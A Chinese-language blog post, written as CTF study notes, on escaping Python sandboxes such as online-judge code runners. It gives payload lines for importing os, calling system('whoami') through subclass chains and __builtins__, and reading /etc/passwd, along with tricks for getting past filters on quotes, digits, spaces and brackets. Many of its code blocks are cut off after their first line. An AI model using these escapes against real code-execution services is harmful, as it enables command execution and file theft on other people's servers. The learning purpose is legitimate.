Python-沙箱逃逸浅析
0x01 写在前面
最近打比赛的沙箱有点多(特别点名PolarisCTF,王朝立马全是沙箱),对于这块恰恰是我的薄弱点,需要重新学习
0x02 沙箱简介
让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os等
Python 的沙箱逃逸的最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件
接下来的内容先讲系统命令执行,再讲文件写入、读取,并且均以 oj 为例,库大多以 os 为例
0x03 命令执行
基础知识
首先了解python中执行命令的方式,现在python2基本淘汰了,我测试了几组在linux+python3环境下比较常见的命令执行方式
1 | # os模块 |
测试了一下所有的导入os或者sys库的脚本
1 | #-*- coding:utf8 -*- |
如果 oj 支持 import 的话,这些库都是高危的,放任不管基本上是坐等被日
所以为了避免过滤不完善导致各种问题,在 Python 沙箱套一层 docker 肯定不会是坏事
import操作
只ban掉import os肯定是不行的,利用空格就能继续import
1 | import os |
空格被过滤了,能够执行import的姿势也有很多
1 | # 利用__import__ |
那我直接ban掉import行了吧?
实际上import可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。但前提是得知道目标路径
1 | import sys |
这个使用用 execfile 来导入库
1 | with open('/usr/lib/python3.6/os.py','r') as f: |
字符串处理
以os为例,当os处于黑名单中时,可以通过逆序绕过
1 | __import__('so'[::-1]).system('ls') |
变量拼接
1 | b = 'o' |
还可以利用eval或者exec
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
注意eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了
sys.modules恢复
sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的
如果将 os 从sys.modules中剔除,os 就彻底没法用了:
1 | import sys |
AttributeError: 'str' object has no attribute 'system',因为此时的os模块只是字符串”not allowed”了
不过这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os,没啥实际影响
1 | import sys |

但就是因为del这个特性,可以让我们重新加载一遍已经被修改的模块
1 | import sys |
还有__builtins__导入
1 | print(__builtins__.__import__('os').popen('whoami').read()) |
函数执行
导入os模块只是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作
popen函数能做到system的工作
1 | print(os.system('whoami')) |
其次,可以通过 getattr 拿到对象的方法、属性:
1 | import os |
import不让用还可以用__builtins__获取os模块
1 | getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') |
与 getattr 相似的还有 getattr、__getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发getattribute,如果getattribute找不到,则触发getattr,还找不到则报错
1 | getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') |
Python 在正常位置找不到你访问的属性时,才会触发 __getattr__。如果属性已经存在,它绝不会被调用
builtins、builtin__与__builtins
先说一下,builtin、builtins,__builtin__与__builtins__的区别:首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr、open。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类
在python2中,内建模块被命名为 __builtin__,到了python3就成了 __builtins__
python2
1 | import __builtin__ |
python3
1 | import builtins |
但是,builtins 两者都有,实际上是builtin和builtins 的引用。它不需要导入,可能是为了统一两个python大版本,不过__builtins__与__builtin__和builtins是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了
不管怎么样,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:
1 | try: |
那么既然builtins有这么多危险的函数,不如将里面的危险函数破坏/删除了:
1 | __builtins__.__dict__['eval'] = 'not allowed' |
但是我们可以利用 reload(__builtins__) 来恢复 __builtins__
不过,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法
这里注意,python2的 reload 是内建的,python3(Python 3.12以下)需要 import imp,然后再 imp.reload,reload 的参数是 module,所以肯定还能用于重新载入其他模块,后面会讲到
1 | reload(__builtins__) |
继承关系逃逸
如果你学过flask模板的SSTI攻击,对下面的攻击思路应该不会陌生
在 Python 中提到继承就不得不提 mro,mro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,叫__mro__,是个元组,记录了继承关系
1 | ''.__class__.__mro__ |
类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base__和__bases__
需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的
1 | class test: |
那么知道这个有什么用呢?
由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过globals拿到 os(globals是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os:
1 | import site |
也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os:
1 | import site |
于是乎,写继承链就很轻松了
1 | ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami') |
如果object本身没被ban掉还能更简单一些
1 | object.__subclasses__()[117].__init__.__globals__['system']('whoami') |
还有一种是利用builtin_function_or_method 的 __call__方法:
1 | "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') |
上面的这些利用方式总结起来就是通过class、mro、subclasses、bases等等属性/方法去获取 object,再根据globals找引入的builtins或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型call后直接运行eval。
最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2,这类利用方式应该是叫 SSTI,所以在这个小节一开始我就说过”如果你学过flask模板的SSTI攻击,对下面的攻击思路应该不会陌生”
0x04 文件读写
open 函数
1 | open('/etc/passwd').read() |
codecs 模块
1 | import codecs |
FileLoader 类
get_data 函数
相比于获取 __builtins__再使用 open 去进行读取,使用 get_data 的 payload 更短
1 | # _frozen_importlib_external.FileLoader.get_data(0,<filename>) |
linecache 模块
getlines 函数
1 | import linecache |
getline 函数需要第二个参数指定行号
1 | import("linecache").getline('/etc/passwd',1) |
license 函数
Python 高级滥用技巧
1 | __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] |
小tips
为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:
1 | # math.py |
调用
1 | import math |
这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re:
1 | 're' in sys.modules |
0x05 枚举目录
os 模块
1 | import os |
glob 模块
1 | import glob |
0x06 Bypass
比如过滤[ ],应对的方式就是将[]的功能用pop 、getitem 代替(实际上a[0]就是在内部调用了a.getitem(0) ):
1 | ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() |
当然,dict 也是可以 pop 的:{"a": 1}.pop("a")
当然也可以用 next(iter()) 替代,或许可以加上 max 之类的玩意。
过滤引号
- 最简单就是用
chr,直接拼接为字符串
1 | os.system( |
- 扣字符
利用 str 和 [],挨个把字符拼接出来
1 | os.system( |
当然 [] 如果被过滤了也可以 bypass,前面说过了。
如果 str 被过滤了怎么办呢?type('')() format() 即可。同理,int list 都可以用 type 构造出来
- 格式化字符串
那过滤了引号,格式化字符串还能用吗?
1 | (chr(37)+str({}.__class__)[1])%100 == 'd' |
- dict() 拿键
1 | 'whoami' == 'whoami' |
限制数字
上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,这里随便列下:
- 0:int(bool([]))、Flase、len([])、any(())
- 1:int(bool([“”]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())
- 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
- 1.0:float(True)
- -1:~0
- …
其实有了 0 就可以了,要啥整数直接做运算即可:
1 | 0 ** 0 == 1 |
任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意…
限制空格
空格通常来说可以通过 ()、[] 替换掉。例如:
1 | [i for i in range(10) if i == 5]` 可以替换为 `[[i][0]for(i)in(range(10))if(i)==5] |
限制运算符
> < ! - + 这几个比较简单就不说了。
== 可以用 in 来替换。
- 替换
or的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 or
- 替换 and 的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 and
限制括号()
这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:
- 利用装饰器
@
1 |
|
- 利用魔术方法,例如
enum.EnumMeta.__getitem__
利用反序列化
利用新特性
PEP 498 引入了 f-string,在 3.6 开始出现:传送门,食用方式:传送门。所以我们就有了一种船新的利用方式:
1 | f'{__import__("os").system("whoami")}' |
还是有很多和SSTI相似的地方,其他的参考一下就好
0x07 写在后面
后面应该会打一些python沙箱然后整合到一篇新博客了,还得练(菜死了呜呜呜
参考
https://www.freebuf.com/articles/web/422169.html
https://www.freebuf.com/articles/system/203208.html
https://blog.csdn.net/qq_35078631/article/details/78504415
https://eihev6cyr3j.feishu.cn/wiki/VNDawiSn8iGnGzkFxkNcBIFsnWd





